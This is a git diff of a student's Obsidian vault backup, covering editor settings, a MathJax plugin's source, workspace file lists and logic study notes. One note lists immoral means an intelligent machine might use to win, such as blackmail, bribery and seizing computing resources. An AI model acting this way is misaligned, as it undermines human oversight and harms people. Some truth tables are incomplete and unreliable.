vault backup: 2025-03-16 18:59:42

This commit is contained in:
boris
2025-03-16 18:59:42 +00:00
parent 6befcc90d4
commit ae837183f1
188 changed files with 17794 additions and 409 deletions

BIN
.DS_Store vendored

Binary file not shown.

5
.obsidian/app.json vendored
View File

@@ -1,13 +1,14 @@
{ {
"showInlineTitle": true, "showInlineTitle": true,
"useMarkdownLinks": true, "useMarkdownLinks": true,
"promptDelete": true, "promptDelete": false,
"showLineNumber": true, "showLineNumber": true,
"attachmentFolderPath": "images", "attachmentFolderPath": "images",
"pdfExportSettings": { "pdfExportSettings": {
"includeName": true,
"pageSize": "A4", "pageSize": "A4",
"landscape": false, "landscape": false,
"margin": "0", "margin": "2",
"downscalePercent": 64 "downscalePercent": 64
}, },
"readableLineLength": false, "readableLineLength": false,

View File

@@ -1,11 +1,11 @@
{ {
"accentColor": "", "accentColor": "",
"theme": "system", "theme": "moonstone",
"cssTheme": "Tokyo Night", "cssTheme": "Tokyo Night",
"nativeMenus": true, "nativeMenus": true,
"baseFontSize": 14, "baseFontSize": 14,
"interfaceFontFamily": "AppleGothic,Inter", "interfaceFontFamily": "AppleGothic,Ubuntu Mono",
"textFontFamily": "AppleGothic,Inter", "textFontFamily": "AppleGothic,DejaVu Math TeX Gyre",
"monospaceFontFamily": "PT Mono,Andale Mono", "monospaceFontFamily": "PT Mono,Andale Mono",
"baseFontSizeAction": false, "baseFontSizeAction": false,
"translucency": true "translucency": true

View File

@@ -7,5 +7,6 @@
"obsidian-style-settings", "obsidian-style-settings",
"url-into-selection", "url-into-selection",
"obsidian-csv-table", "obsidian-csv-table",
"mermaid-tools" "mermaid-tools",
"obsidian-latex"
] ]

File diff suppressed because one or more lines are too long

15605
.obsidian/plugins/obsidian-latex-suite/main.js vendored Executable file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,11 @@
{
"id": "obsidian-latex-suite",
"name": "Latex Suite",
"version": "1.9.8",
"minAppVersion": "1.0.0",
"description": "Make typesetting LaTeX math as fast as handwriting through snippets, text expansion, and editor enhancements",
"author": "artisticat",
"authorUrl": "https://github.com/artisticat1",
"fundingUrl": "https://ko-fi.com/artisticat",
"isDesktopOnly": false
}

View File

@@ -0,0 +1,235 @@
/* Settings panel */
.setting-item.hidden {
display: none;
}
.setting-item.setting-item-heading .latex-suite-settings-icon {
margin-right: var(--size-4-2);
display: inline-flex;
}
.setting-item.setting-item-heading:has(.latex-suite-settings-icon) {
border-bottom: 1px solid var(--background-modifier-border);
}
.setting-item.setting-item-heading:has(.latex-suite-settings-icon) + .setting-item {
border-top: none;
}
.setting-item.setting-item-heading:has(.latex-suite-settings-icon) ~ .setting-item:not(.setting-item-heading), .latex-suite-snippet-variables-setting + .setting-item-control {
width: calc(100% - 26px);
margin-left: 26px;
}
.latex-suite-snippet-variables-setting .setting-item-control {
height: 120px;
}
.latex-suite-snippet-variables-setting .setting-item-control textarea {
width: 100%;
height: 100%;
}
.snippets-text-area, .latex-suite-snippet-variables-setting {
display: inline-block;
}
.snippets-text-area .setting-item-info, .latex-suite-snippet-variables-setting .setting-item-info {
margin-bottom: 0.75rem;
}
.snippets-text-area .setting-item-control {
flex-direction: column;
align-items: flex-end;
}
.snippets-editor-wrapper {
width: 100%;
margin-bottom: 0.75rem;
}
.snippets-editor-wrapper .cm-editor {
border: 1px solid var(--background-modifier-border);
border-radius: 4px;
font-size: var(--font-inputs);
height: 20em;
outline: none !important;
text-align: left;
}
.snippets-editor-wrapper .cm-line, .snippets-editor-wrapper .cm-lineNumbers {
font-family: var(--font-monospace);
}
.snippets-footer {
width: 100%;
display: flex;
align-items: center;
justify-content: space-between;
}
.snippets-editor-validity {
display: flex;
align-items: center;
}
.snippets-editor-validity-indicator {
color: white;
display: inline-block;
border-radius: 1em;
margin-right: 10px;
cursor: default;
visibility: hidden;
}
.snippets-editor-validity-indicator svg {
width: 16px !important;
height: 16px !important;
}
.snippets-editor-validity-indicator:hover {
color: white;
}
.snippets-editor-validity-indicator.valid {
background-color: var(--color-green);
visibility: visible;
}
.snippets-editor-validity-indicator.invalid {
background-color: var(--color-red);
visibility: visible;
}
.snippets-editor-buttons {
display: flex;
flex-direction: row;
}
.latex-suite-confirmation-modal .setting-item {
border: none;
}
.search-input-container input.latex-suite-location-input-el {
width: initial;
}
/*
Snippet color classes.
*/
/* These extra selectors enforce their color on all children, because CodeMirror does weird nesting of spans when
nesting multiple decorations. */
.latex-suite-snippet-placeholder {
border-radius: 2px;
background-color: var(--placeholder-bg);
outline: var(--placeholder-outline) solid 1px;
}
.latex-suite-snippet-placeholder-0, span.latex-suite-snippet-placeholder-0 span {
--placeholder-bg: #87cefa2e;
--placeholder-outline: #87cefa6e;
}
.theme-dark .latex-suite-snippet-placeholder-0, span.latex-suite-snippet-placeholder-0 span {
--placeholder-outline: #87cefa43;
}
.latex-suite-snippet-placeholder-1, span.latex-suite-snippet-placeholder-1 span {
--placeholder-bg: #ffa50033;
--placeholder-outline: #ffa5006b;
}
.theme-dark .latex-suite-snippet-placeholder-1, span.latex-suite-snippet-placeholder-1 span {
--placeholder-outline: #ffa5004d;
}
.latex-suite-snippet-placeholder-2, span.latex-suite-snippet-placeholder-2 span {
--placeholder-bg: #00ff0022;
--placeholder-outline: #00ff0060;
}
.theme-dark .latex-suite-snippet-placeholder-2, span.latex-suite-snippet-placeholder-2 span {
--placeholder-outline: #00ff003d;
}
/* Conceal */
span.cm-math.cm-concealed-bold {
font-weight: bold;
}
span.cm-math.cm-concealed-underline {
text-decoration: underline;
}
span.cm-math.cm-concealed-mathrm, sub.cm-math.cm-concealed-mathrm {
font-style: normal;
}
/* Conceal superscripts without changing line height */
sup.cm-math {
line-height: 0;
}
sup.cm-math, sub.cm-math {
font-style: italic;
}
/* Inline math tooltip styling */
.theme-light .cm-tooltip.cm-tooltip-cursor {
box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.028), 0px 3.4px 6.7px rgba(0, 0, 0, .042), 0px 5px 20px rgba(0, 0, 0, .07);
}
.theme-dark .cm-tooltip.cm-tooltip-cursor {
box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.1),
0px 3.4px 6.7px rgba(0, 0, 0, 0.15),
0px 0px 30px rgba(0, 0, 0, 0.27);
}
/* Highlight brackets */
.theme-light .latex-suite-highlighted-bracket, .theme-light .latex-suite-highlighted-bracket [class^="latex-suite-color-bracket-"] {
background-color: hsl(var(--accent-h), var(--accent-s), 40%, 0.3);
}
.theme-dark .latex-suite-highlighted-bracket, .theme-dark .latex-suite-highlighted-bracket [class^="latex-suite-color-bracket-"] {
background-color: hsl(var(--accent-h), var(--accent-s), 70%, 0.6);
}
/* Color matching brackets */
.theme-light .latex-suite-color-bracket-0, .theme-light .latex-suite-color-bracket-0 .cm-bracket {
color: #527aff;
}
.theme-dark .latex-suite-color-bracket-0, .theme-dark .latex-suite-color-bracket-0 .cm-bracket {
color: #47b8ff;
}
.theme-light .latex-suite-color-bracket-1, .theme-light .latex-suite-color-bracket-1 .cm-bracket {
color: #ff50b7;
}
.theme-dark .latex-suite-color-bracket-1, .theme-dark .latex-suite-color-bracket-1 .cm-bracket {
color: #ff55cd;
}
.theme-light .latex-suite-color-bracket-2, .theme-light .latex-suite-color-bracket-2 .cm-bracket {
color: #69ba00;
}
.theme-dark .latex-suite-color-bracket-2, .theme-dark .latex-suite-color-bracket-2 .cm-bracket {
color: #73ff63;
}
/* .latex-suite-color-bracket-3 {
color: #8de15c;
} */

206
.obsidian/plugins/obsidian-latex/main.js vendored Executable file
View File

@@ -0,0 +1,206 @@
'use strict';
var obsidian = require('obsidian');
/*! *****************************************************************************
Copyright (c) Microsoft Corporation.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise */
var extendStatics = function(d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
function __extends(d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}
function __awaiter(thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
}
function __generator(thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (_) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
}
var DEFAULT_SETTINGS = {
preamblePath: "preamble.sty",
};
var JaxPlugin = /** @class */ (function (_super) {
__extends(JaxPlugin, _super);
function JaxPlugin(app, manifest) {
var _this = _super.call(this, app, manifest) || this;
_this.app = app;
_this.settings = DEFAULT_SETTINGS;
return _this;
}
JaxPlugin.prototype.loadPreamble = function () {
return __awaiter(this, void 0, void 0, function () {
var preamble;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, this.app.vault.adapter.read(this.settings.preamblePath)];
case 1:
preamble = _a.sent();
if (MathJax.tex2chtml == undefined) {
MathJax.startup.ready = function () {
MathJax.startup.defaultReady();
MathJax.tex2chtml(preamble);
};
}
else {
MathJax.tex2chtml(preamble);
}
return [2 /*return*/];
}
});
});
};
JaxPlugin.prototype.loadSettings = function () {
return __awaiter(this, void 0, void 0, function () {
var _a, _b, _c, _d;
return __generator(this, function (_e) {
switch (_e.label) {
case 0:
_a = this;
_c = (_b = Object).assign;
_d = [{}, DEFAULT_SETTINGS];
return [4 /*yield*/, this.loadData()];
case 1:
_a.settings = _c.apply(_b, _d.concat([_e.sent()]));
return [2 /*return*/];
}
});
});
};
JaxPlugin.prototype.saveSettings = function () {
return __awaiter(this, void 0, void 0, function () {
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, this.saveData(this.settings)];
case 1:
_a.sent();
return [2 /*return*/];
}
});
});
};
JaxPlugin.prototype.onload = function () {
return __awaiter(this, void 0, void 0, function () {
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, this.loadSettings()];
case 1:
_a.sent();
this.addSettingTab(new JaxPluginSettingTab(this.app, this));
// Load MathJax so that we can modify it
// Otherwise, it would not be loaded when this plugin is loaded
return [4 /*yield*/, obsidian.loadMathJax()];
case 2:
// Load MathJax so that we can modify it
// Otherwise, it would not be loaded when this plugin is loaded
_a.sent();
if (!MathJax) {
console.warn("MathJax was not defined despite loading it.");
return [2 /*return*/];
}
return [4 /*yield*/, this.loadPreamble()];
case 3:
_a.sent();
return [2 /*return*/];
}
});
});
};
JaxPlugin.prototype.onunload = function () {
// TODO: Is it possible to remove our definitions?
console.log('Unloading Extended MathJax');
};
return JaxPlugin;
}(obsidian.Plugin));
var JaxPluginSettingTab = /** @class */ (function (_super) {
__extends(JaxPluginSettingTab, _super);
function JaxPluginSettingTab(app, plugin) {
var _this = _super.call(this, app, plugin) || this;
_this.plugin = plugin;
return _this;
}
JaxPluginSettingTab.prototype.display = function () {
var _this = this;
var containerEl = this.containerEl;
containerEl.empty();
new obsidian.Setting(containerEl)
.setName('Preamble path')
.setDesc('Path to global preamble. (Requires reload!)')
.addText(function (text) {
return text
.setValue(_this.plugin.settings.preamblePath)
.onChange(function (value) { return __awaiter(_this, void 0, void 0, function () {
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
this.plugin.settings.preamblePath = value;
return [4 /*yield*/, this.plugin.saveSettings()];
case 1:
_a.sent();
return [2 /*return*/];
}
});
}); });
});
};
return JaxPluginSettingTab;
}(obsidian.PluginSettingTab));
module.exports = JaxPlugin;
/* nosourcemap */

View File

@@ -0,0 +1,10 @@
{
"id": "obsidian-latex",
"name": "Extended MathJax",
"version": "0.4.1",
"minAppVersion": "0.12.16",
"description": "Adds support for a MathJax preamble and enables additional MathJax extensions for specific domains (chemistry, proofs).",
"author": "Xavier Denis & Ng Wei En",
"authorUrl": "https://github.com/wei2912/obsidian-latex",
"isDesktopOnly": false
}

View File

@@ -13,33 +13,58 @@
"state": { "state": {
"type": "markdown", "type": "markdown",
"state": { "state": {
"file": "Penetration Testing/Exploitation Assignment/Discovery.md", "file": "AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md",
"mode": "source", "mode": "source",
"source": false "source": false
}, },
"icon": "lucide-file", "icon": "lucide-file",
"title": "Discovery" "title": "Chapter 22 Validity and Inference Rules"
} }
}
]
}, },
{ {
"id": "ccb530263275547c", "id": "e186aac04d6f44bd",
"type": "tabs",
"children": [
{
"id": "874d2d014b491baf",
"type": "leaf", "type": "leaf",
"state": { "state": {
"type": "pdf", "type": "markdown",
"state": { "state": {
"file": "AI & Data Mining/Exercise Booklet.pdf" "file": "AI & Data Mining/Week 23/Week 23 - Deductive Proofs.md",
"mode": "source",
"source": false
}, },
"icon": "lucide-file-text", "icon": "lucide-file",
"title": "Exercise Booklet" "title": "Week 23 - Deductive Proofs"
}
},
{
"id": "3ee69deee29aa157",
"type": "leaf",
"state": {
"type": "markdown",
"state": {
"file": "Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md",
"mode": "source",
"source": false
},
"icon": "lucide-file",
"title": "Task 2 - Web Attacks"
}
},
{
"id": "9d5df515e1a9868d",
"type": "leaf",
"state": {
"type": "markdown",
"state": {
"file": "Career Development/Assessment 2 Diary.md",
"mode": "source",
"source": false
},
"icon": "lucide-file",
"title": "Assessment 2 Diary"
} }
} }
] ],
"currentTab": 3
} }
], ],
"direction": "vertical" "direction": "vertical"
@@ -97,7 +122,7 @@
} }
], ],
"direction": "horizontal", "direction": "horizontal",
"width": 395.5 "width": 204.5
}, },
"right": { "right": {
"id": "ee8f6df41634f71e", "id": "ee8f6df41634f71e",
@@ -217,53 +242,54 @@
"mermaid-tools:Open Mermaid Toolbar": false "mermaid-tools:Open Mermaid Toolbar": false
} }
}, },
"active": "874d2d014b491baf", "active": "ff4e63a36b080692",
"lastOpenFiles": [ "lastOpenFiles": [
"Client Server Systems/Ecobuddy/test-admin.js",
"Client Server Systems/Ecobuddy/logincontroller.php.deprecated",
"Client Server Systems/Ecobuddy/public/css/fonts/bootstrap-icons.woff2",
"Client Server Systems/Ecobuddy/public/css/fonts/bootstrap-icons.woff",
"Client Server Systems/Ecobuddy/public/js/simpleAuth.js",
"Client Server Systems/Ecobuddy/public/js/facilityData.js",
"Client Server Systems/Ecobuddy/public/js/comments.js",
"Client Server Systems/Ecobuddy/public/js/bootstrap.bundle.js",
"Client Server Systems/Ecobuddy/public/js/auth.js",
"Client Server Systems/Ecobuddy/public/js/apiClient.js",
"Client Server Systems/Ecobuddy/public/css/my-style.css",
"Career Development/Assessment 2 Plan.md",
"Career Development/Assessment 2 Diary.md",
"Career Development/Assessment.md",
"AI & Data Mining/Week 26 - Deductive Proofs.md",
"AI & Data Mining/Week 25/Chapter 25 - Predicate Logic Quantifiers.md",
"AI & Data Mining/Week 25/Week 25 - Predicate Logic Quantifiers.md",
"Penetration Testing/Exploitation Assignment/Task 2 - Web Attacks.md",
"AI & Data Mining/Week 23/Untitled.md",
"AI & Data Mining/Week 23/Week 23 - Deductive Proofs.md",
"AI & Data Mining/Week 24/Week 24 - Predicate Logic.md",
"AI & Data Mining/Week 21/Week 21 - Transformational Proofs in Propositional Logic.md", "AI & Data Mining/Week 21/Week 21 - Transformational Proofs in Propositional Logic.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/search.php", "AI & Data Mining/Week 21/Chapter 21 - Transformational Proofs.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/searchinator.php", "AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.md",
"Penetration Testing/Exploitation Assignment/Discovery.md", "AI & Data Mining/Week 22/Chapter 22 Validity and Inference Rules.md",
"AI & Data Mining/Week 21", "AI & Data Mining/Assessment/Coursework Prep Notes.md",
"Client Server Systems/PHPStorm Repo/students.sqlite", "AI & Data Mining/Week 23/Chapter 23 - Deductive Proofs.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/Views/index.phtml", "images/Pasted image 20250221132524.png",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/index.php", "Penetration Testing/Week 21/Week 21 - Exploits and Post-Exploitation.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/Views/page1.phtml", "Penetration Testing/Week 21/Public Exploitation Workshop.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/Views/studentISv1.phtml", "Penetration Testing/Week 20/Week 20 - Web Application Attacks.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/studentISv1.php", "Penetration Testing/Week 23/Week 23 - Password Attacks.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/Models/StudentsDataSet.php", "Penetration Testing/Week 22/Week 22 - Web Attacks.md",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/images/new_uos_logo.jpg", "images/Pasted image 20241025141348.png",
"Client Server Systems/PHPStorm Repo/ajax_workshop_2/fonts/glyphicons-halflings-regular.svg", "images/Pasted image 20241017132059.png",
"Client Server Systems/PHPStorm Repo/images/new_uos_logo.jpg", "images/Pasted image 20241011131542.png",
"Client Server Systems/PHPStorm Repo/fonts/glyphicons-halflings-regular.svg", "images/Pasted image 20241003133342.png",
"Client Server Systems/PHPStorm Repo/ajax_workshop_1/favicon.png", "images/Pasted image 20241003092201.png",
"images/Pasted image 20250131145917.png", "images/Pasted image 20241003092549.png",
"images/Pasted image 20250131144439.png", "images/Pasted image 20241017130933.png",
"images/Pasted image 20250131144425.png", "images/Pasted image 20240920133316.png",
"AI & Data Mining/Week 20/Week 20 - Intro to Propositional Logic.md", "images/Pasted image 20240920133706.png",
"AI & Data Mining/Week 20/Chapter 20 Tutorial - Introduction to Propositional Logic.md", "README.md",
"AI & Data Mining/Week 20/Propositional Logic Examples.md",
"AI & Data Mining/Week 19/Timeline of History.md",
"Penetration Testing/Week 20/Week 20 - Web Attacks.md",
"CWC 3 - Fit for Trade.md", "CWC 3 - Fit for Trade.md",
"images/Pasted image 20250129154055.png", "Client Server Systems/Week 1/Workshop 1 - Intro to PHP.md",
"CWC 1 - Consistency.md", "Welcome.md",
"CWC 2 - Warm Welcome.md",
"Penetration Testing/Week 19/Steps to Complete Workshop 2.md",
"AI & Data Mining/Week 18/Week 18 - Tutorial.md",
"Data Structures/GPT Answers to Past Paper/Question 4.md",
"Data Structures/GPT Answers to Past Paper/Question 1.md",
"Data Structures/GPT Answers to Past Paper/Question 6.md",
"Penetration Testing/Week 19/AI Summary.md",
"Penetration Testing/Week 19/Week 19 - Buffer Overflow.md",
"Client Server Systems/PHPStorm Repo/php-s1/MVCtemplate-23-24/images/new_uos_logo.jpg",
"AI & Data Mining/Week 18/Week 18 - What AI?????.md",
"Networking and Security/Week 18/Workshop.md",
"Data Structures/AI Notes/Stack.md",
"Data Structures/AI Notes/Trees.md",
"Data Structures/AI Notes/Linear List.md",
"Data Structures/AI Notes/Exceptions.md",
"Data Structures/AI Notes/Double linked lists.md",
"Data Structures/AI Notes/Data Structures and Abstract Data Types.md",
"Database Systems/Untitled.canvas", "Database Systems/Untitled.canvas",
"Untitled 1.canvas", "Untitled 1.canvas",
"Untitled.canvas" "Untitled.canvas"

View File

@@ -0,0 +1,6 @@
Lectures 5,6,7,8,9,10,11,12
Chapters 20,21,22,23
texlive-recommended
texlive-luatex
texlive-fonts-recommended

View File

@@ -1,4 +1,5 @@
# 1R: (AV)CTARs # 1R: (AV)CTARs
(foreach) Attribute (foreach) Attribute
(foreach) Value (foreach) Value
Count (class) Count (class)
@@ -8,6 +9,7 @@
Smallest (error rate) Smallest (error rate)
# Missing Values: Ma $\Delta$D CPS # Missing Values: Ma $\Delta$D CPS
Malfunctioning Equipment Malfunctioning Equipment
Change in Design Change in Design
Collation of Datasets Collation of Datasets

View File

@@ -1,11 +1,15 @@
# 1R # 1R
### (AV)CTARs ### (AV)CTARs
Simple Simple
Classification Classification
One-Level tree One-Level tree
Tie, make arbitrary choice Tie, make arbitrary choice
## Issue with Numerics ## Issue with Numerics
- Discretise - Discretise
- List values of attribute - List values of attribute
- Sort asc - Sort asc
@@ -13,10 +17,14 @@ Tie, make arbitrary choice
- Breakpoints between change in class - Breakpoints between change in class
- Interval assigned to majority class - Interval assigned to majority class
- Enforce bucket size, if adjacent interval has same class, merge. - Enforce bucket size, if adjacent interval has same class, merge.
## Issue with Missing Values ## Issue with Missing Values
- Assign "missing" as a value - Assign "missing" as a value
- Treat normally - Treat normally
## Issue with Overfitting ## Issue with Overfitting
- Bucket Enforcement - Bucket Enforcement
- Ensure attribute tested is applicable - Ensure attribute tested is applicable

View File

@@ -0,0 +1 @@

View File

@@ -147,7 +147,8 @@ Problem of achieving this is called the value alignment problem
### Bad Behaviour ### Bad Behaviour
If a machine is intelligent enough to reason and act, such a machine may attemt to increase chances of winning by immoral means: If a machine is intelligent enough to reason and act, such a machine may attempt to increase chances of winning by immoral means:
- Blackmail - Blackmail
- Bribery - Bribery
- Grabbing additional computing resources for itself - Grabbing additional computing resources for itself

BIN
AI & Data Mining/Week 18/test.pdf Executable file

Binary file not shown.

View File

@@ -19,7 +19,9 @@
- Disjunction (): p q is true if and only if at least one of p or q is true - Disjunction (): p q is true if and only if at least one of p or q is true
- Implication (⇒): p ⇒ q is false if and only if p is true and q is false - Implication (⇒): p ⇒ q is false if and only if p is true and q is false
- Equivalence (⇔): p ⇔ q is true if and only if p and q have the same truth value - Equivalence (⇔): p ⇔ q is true if and only if p and q have the same truth value
## Precedence Order of Connectives ## Precedence Order of Connectives
1. Negation (¬) 1. Negation (¬)
2. Conjunction (∧) 2. Conjunction (∧)
3. Disjunction () 3. Disjunction ()
@@ -27,6 +29,7 @@
5. Equivalence (⇔) 5. Equivalence (⇔)
This means that in a formula without parentheses, ¬ takes precedence over ∧ and , ∧ and have the same precedence but associativity to the left, and ⇒ and ⇔ also have the same precedence but associativity to the right. For example, p ∧ q ⇒ r is equivalent to (p ∧ q) ⇒ r, not p ∧ (q ⇒ r). This means that in a formula without parentheses, ¬ takes precedence over ∧ and , ∧ and have the same precedence but associativity to the left, and ⇒ and ⇔ also have the same precedence but associativity to the right. For example, p ∧ q ⇒ r is equivalent to (p ∧ q) ⇒ r, not p ∧ (q ⇒ r).
### Propositions and Connectives (Examples) ### Propositions and Connectives (Examples)
#### Atomic Propositions: #### Atomic Propositions:
@@ -119,6 +122,7 @@ This means that in a formula without parentheses, ¬ takes precedence over ∧ a
- Formalized as: p ∧ q ⇒ ¬r - Formalized as: p ∧ q ⇒ ¬r
- Argument: If Bob eats carrots, then he will be able to see in the dark. Therefore, if Bob cant see in the dark, then he hasnt eaten carrots. - Argument: If Bob eats carrots, then he will be able to see in the dark. Therefore, if Bob cant see in the dark, then he hasnt eaten carrots.
- Formalized as: p ⇒ q ≡ ¬q ⇒ ¬p - Formalized as: p ⇒ q ≡ ¬q ⇒ ¬p
# Summary # Summary
- Logicians focus on argument form - Logicians focus on argument form

View File

@@ -0,0 +1,44 @@
1. George Boole
2. Truth Tables for a) Negation b) Contraposition
a)
Negation Law
¬¬p ≡ p
| p | ¬p | ¬(¬p) | ¬(¬p) ⇔ p |
| --- | --- | ----- | --------- |
| T | F | T | T |
| F | T | F | T |
b)
Contraposition Law
p ⇒ q ≡ ¬q ⇒ ¬p
| p | ¬p | q | ¬q | p ⇒ q | ¬q ⇒ ¬p | p ⇒ q ⇔ ¬q ⇒ ¬p |
| --- | --- | --- | --- | ----- | ------- | --------------- |
| T | F | T | F | T | T | T |
| T | F | F | T | F | F | T |
| F | T | T | F | T | T | T |
| F | T | F | T | T | T | T |
p ⇒ q ⇔ ¬q ⇒ ¬p MUST be true, since p ⇒ q and ¬q ⇒ ¬p are shown in the truth table to be the same logical equivalence
1. Provide names of laws
1. Negation Law
2. De Morgan's Law
3. Negation Law
4. De Morgan's Law
5. Negation Law Twice
6. Associative Law
7. De Morgan's Law
8. De Morgan's Law
9. Negation Law Twice
2. Show logical equivalence
p ⇒ q
¬q ⇒ ¬p
p ⇒ q
≡ (¬p) v q
≡ q v (¬p)
≡ ¬ (¬q) v (¬p)
≡ (¬q) ⇒ (¬p)

View File

@@ -0,0 +1,53 @@
1. A syllogism is an instance of a form of reasoning in which a conclusion is drawn from two given or assumed propositions; a common or middle term is present in the two premises but not in the conclusion, which may be invalid.
2. Aristotle
**Double Negation ¬ Elim ¬ ¬ p p**
| Propositions | Premises | Conclusion |
| ------------ | ------------ | ---------- |
| p | $\neg\neg p$ | p |
| T | T | T |
| F | F | F |
**Hypothetical syllogism; this says that if p implies q and q implies r, then it can be logically concluded that p implies r. p ⇒ q q ⇒ r p ⇒ r**
| Propositions | | | Premises | | Conclusion |
| ------------ | --- | --- | -------------- | -------------- | -------------- |
| p | q | r | $p \implies q$ | $q \implies r$ | $p \implies r$ |
| T | T | T | T | T | T |
| T | T | F | T | F | |
| T | F | T | F | T | |
| T | F | F | F | T | |
| F | T | T | T | T | T |
| F | T | F | T | F | |
| F | F | T | T | T | T |
| F | F | F | T | T | T |
1. Involves linking implications together in a sequential manner, much like the links in a chain.
**p q q Therefore, p**
| Propositions | | Premises | | Conclusion |
| ------------ | --- | ---------- | --- | ---------- |
| $p$ | $q$ | $p \lor q$ | $q$ | p |
| T | T | T | T | T |
| T | F | T | F | T |
| F | T | T | T | F |
| F | F | F | F | F |
**p ⇒ q q ⇒ p Therefore, p ∧ q**
| Propositions | | Premises | | Conclusion |
| ------------ | --- | -------------- | -------------- | ----------- |
| p | q | $p \implies q$ | $q \implies p$ | $p \land q$ |
| T | T | T | T | T |
| T | F | F | T | F |
| F | T | T | F | F |
| F | F | T | T | F |
$p \implies q$
$r \implies s$
$p \lor r$ (p disjunction (or) r)
Conclusion: $q \lor s$
The "Constructive Dilemma": If the disjunction of the antecedent of two implications holds then the disjunction of the conclusions also must hold

View File

@@ -0,0 +1,163 @@
**Detailed Notes on Lectures 9 & 10: Validity and Inference Rules**
**Slide 1: Learning Objectives**
- Define the notion of validity in an argument.
- Establish validity using truth tables.
- Demonstrate invalidity using truth tables.
- Understand inference rules.
**Slide 2: Contents**
- Objectives
- Transformational proofs are not sufficient.
- Comparison of deduction with induction.
- Validity.
- Demonstrating validity/invalidity using truth tables.
- Problem with truth tables.
- Inference rules.
- Summary, reading, and references.
**Slide 3: Transformational Proofs do not Suffice**
- Understanding transformations of formulas is useful but insufficient.
- Logic uses rules of inference to deduce true propositions from other true propositions.
- Invalid premises cannot lead to valid conclusions, preventing proofs of contradictions or useless systems.
**Slide 4: Premises and Conclusions**
- An argument consists of premises (basis for accepting) and a conclusion.
- Example:
- Premises: Every adult is eligible to vote; John is an adult.
- Conclusion: Therefore, John is eligible to vote.
**Slide 5: Deduction vs. Induction**
- Deductive arguments: Conclusion is wholly justified by premises.
- Inductive arguments: More general new knowledge inferred from facts or observations.
**Slide 6: Valid vs. Invalid Arguments**
- Valid arguments: Conclusion always true when premises are true.
- Invalid arguments: At least one assignment where premises are true, but conclusion is false.
**Slide 7: Example of Valid Argument**
- If John is an adult, then he is eligible to vote (premise).
- John is an adult (premise).
- Therefore, John is eligible to vote (conclusion).
**Slide 8: Example of Valid Argument with False Conclusion**
- If I catch the 19:32 train, I'll arrive in Glasgow at 19:53 (premise).
- I catch the 19:32 train (premise).
